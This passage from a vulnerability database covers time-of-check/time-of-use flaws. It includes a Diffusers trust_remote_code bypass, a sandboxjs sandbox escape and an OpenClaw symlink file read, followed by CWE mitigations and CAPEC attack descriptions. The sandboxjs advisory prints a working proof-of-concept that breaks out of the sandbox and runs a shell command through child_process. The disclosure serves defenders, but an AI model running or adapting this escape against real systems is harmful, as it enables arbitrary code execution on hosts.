a first (or forced) download.\n\n---\n\n## Exploitability\n\nThe window between the two calls is very short. Local testing resulted in a window of approximately ~0.5 seconds for the attacker to push the change. This is, of course, unfeasible to accomplish for each and every new download. However, given a popular repo with many downloads per day, one may achieve **statistical success** by changing the repo\u2019s state every once in a while or every few seconds, with some percentage of downloaders falling on the exact window. \n\n---\n\n## Impact\n\nThe vulnerability is a silent RCE - it allows arbitrary code to be loaded through the custom pipeline flow from a Hub repo, with no `custom_pipeline` or `trust_remote_code` kwargs. The `from_pretrained` call succeeds and returns a fully functional pipeline.",
  "id": "GHSA-7wx4-6vff-v64p",
  "modified": "2026-05-20T15:31:33Z",
  "published": "2026-05-20T15:31:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/huggingface/diffusers/security/advisories/GHSA-7wx4-6vff-v64p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/huggingface/diffusers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Diffusers: TOCTOU Trust Remote Code Bypass"
}

GHSA-7X3H-RM86-3342

Vulnerability from github – Published: 2026-02-05 21:33 – Updated: 2026-02-06 21:42
VLAI
Summary
@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Details

Summary

A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.

Details

Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.

PoC

const Sandbox = require('@nyariv/sandboxjs').default;

const code = `
let a = new Map;
a.x = 23;
let count = 0;

let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run(); 

Impact

Remote code execution, if attacker can execute code inside the sandbox.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:33:04Z",
    "nvd_published_at": "2026-02-06T20:16:11Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.\n\n### Details\nEven though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced:\nhttps://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304\nSo, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.\n\n### PoC\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\n\nconst code = `\nlet a = new Map;\na.x = 23;\nlet count = 0;\n\nlet nastyProp = {toString: () =\u003e {if (count\u003c1){count++;return \"x\"} else return \"__proto__\"}}\nlet mapProt = a[nastyProp];\nmapProt.has = isFinite;\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n  )(),\n);`;\nconst scope = {};\nconst sandbox = new Sandbox();\nconst exec = sandbox.compile(code);\nexec(scope).run(); \n```\n\n### Impact\nRemote code execution, if attacker can execute code inside the sandbox.",
  "id": "GHSA-7x3h-rm86-3342",
  "modified": "2026-02-06T21:42:58Z",
  "published": "2026-02-05T21:33:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses"
}

GHSA-7XMQ-G46G-F8PV

Vulnerability from github – Published: 2026-03-02 21:55 – Updated: 2026-03-02 21:55
VLAI
Summary
OpenClaw: Sandbox media TOCTOU could read files outside sandbox root
Details

Summary

Sandbox media handling had a time-of-check/time-of-use gap: media paths could be validated first and read later through a separate path. A symlink retarget between those steps could cause reads outside sandboxRoot.

Impact

Affected versions could permit host file reads outside the intended sandbox root in media attachment/image flows.

Fix

Media reads now use consolidated root-scoped, boundary-safe read paths at use time, removing check/use drift across call sites.

Affected and Patched Versions

  • Affected: <= 2026.2.26
  • Patched: 2026.3.1
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T21:55:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nSandbox media handling had a time-of-check/time-of-use gap: media paths could be validated first and read later through a separate path. A symlink retarget between those steps could cause reads outside `sandboxRoot`.\n\n### Impact\nAffected versions could permit host file reads outside the intended sandbox root in media attachment/image flows.\n\n### Fix\nMedia reads now use consolidated root-scoped, boundary-safe read paths at use time, removing check/use drift across call sites.\n\n### Affected and Patched Versions\n- Affected: `\u003c= 2026.2.26`\n- Patched: `2026.3.1`",
  "id": "GHSA-7xmq-g46g-f8pv",
  "modified": "2026-03-02T21:55:47Z",
  "published": "2026-03-02T21:55:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7xmq-g46g-f8pv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Sandbox media TOCTOU could read files outside sandbox root"
}

Mitigation
Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Mitigation
Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Mitigation
Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Mitigation
Implementation Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Mitigation
Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Mitigation
Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

Mitigation
Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

CAPEC-27: Leveraging Race Conditions via Symbolic Links

This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.

CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.